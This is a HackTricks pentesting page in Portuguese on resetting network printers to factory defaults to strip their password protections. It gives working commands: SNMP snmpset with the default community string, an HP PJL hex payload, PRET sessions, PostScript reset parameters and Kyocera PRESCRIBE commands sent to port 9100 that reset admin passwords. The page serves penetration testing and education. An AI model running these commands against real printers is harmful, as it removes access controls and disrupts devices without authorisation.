hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2023-06-06 18:56:34 +00:00

6.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Redefinir um dispositivo para os padrões de fábrica é uma funcionalidade crítica de segurança, pois sobrescreve mecanismos de proteção como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma combinação de teclas especiais no painel de controle da impressora. Realizar uma redefinição fria leva apenas alguns segundos e, portanto, é um cenário realista para atacantes locais ou testadores de penetração, que podem, por exemplo, se infiltrar na sala de cópia na hora do almoço. No entanto, o acesso físico ao dispositivo nem sempre é uma opção.

SNMP

O Printer-MIB define o objeto prtGeneralReset (OID 1.3.6.1.2.1.43.5.1.1.3.1) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), redefinir as configurações NVRAM (resetToNVRAM(5)) ou restaurar os padrões de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é suportado por uma grande variedade de impressoras e remove todos os mecanismos de proteção, como senhas definidas pelo usuário para o servidor web incorporado. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a configuração de endereço IP estático será perdida. Se nenhum serviço DHCP estiver disponível, o atacante não poderá se reconectar ao dispositivo após redefini-lo para os padrões de fábrica.

Redefinir o dispositivo para os padrões de fábrica pode ser realizado usando o comando snmpset, conforme mostrado abaixo (você precisa saber a cadeia de comunidade, que por padrão na maioria dos casos é public):

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em dispositivos HP, o SNMP pode ser transformado em sua representação PML e incorporado à uma tarefa de impressão legítima. Isso permite que um atacante reinicie e/ou restaure o dispositivo para os padrões de fábrica dentro de tarefas de impressão comuns, como mostrado abaixo:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

Qualquer pessoa pode reproduzir esse ataque em impressoras HP, reiniciando ou resetando o dispositivo pode ser facilmente reproduzido usando o PRET:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

O PostScript oferece um recurso semelhante: o parâmetro do sistema FactoryDefaults, "uma bandeira que, se definida como verdadeira imediatamente antes da impressora ser desligada, faz com que todos os parâmetros não voláteis voltem aos seus valores padrão de fábrica na próxima inicialização". Deve-se notar que o PostScript em si também tem a capacidade de reiniciar seu ambiente, mas requer uma senha válida.
No entanto, o interpretador PostScript pode ser colocado em um loop infinito, como discutido em ataques de negação de serviço (DoS) de processamento de documentos, o que força o usuário a reiniciar manualmente o dispositivo e, assim, redefinir a senha do PostScript.

Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:

<< /FactoryDefaults true >> setsystemparams

Reinicie o interpretador PostScript e a memória virtual:

true 0 startjob systemdict /quit get exec

Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora facilmente reproduzível usando PRET:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

Para dispositivos Kyocera, as linguagens de descrição de página PRESCRIBE podem ser usadas para redefinir o dispositivo para o padrão de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

Para reproduzir este ataque, abra uma conexão de rede bruta para a porta 9100/tcp da impressora e envie os comandos documentados acima.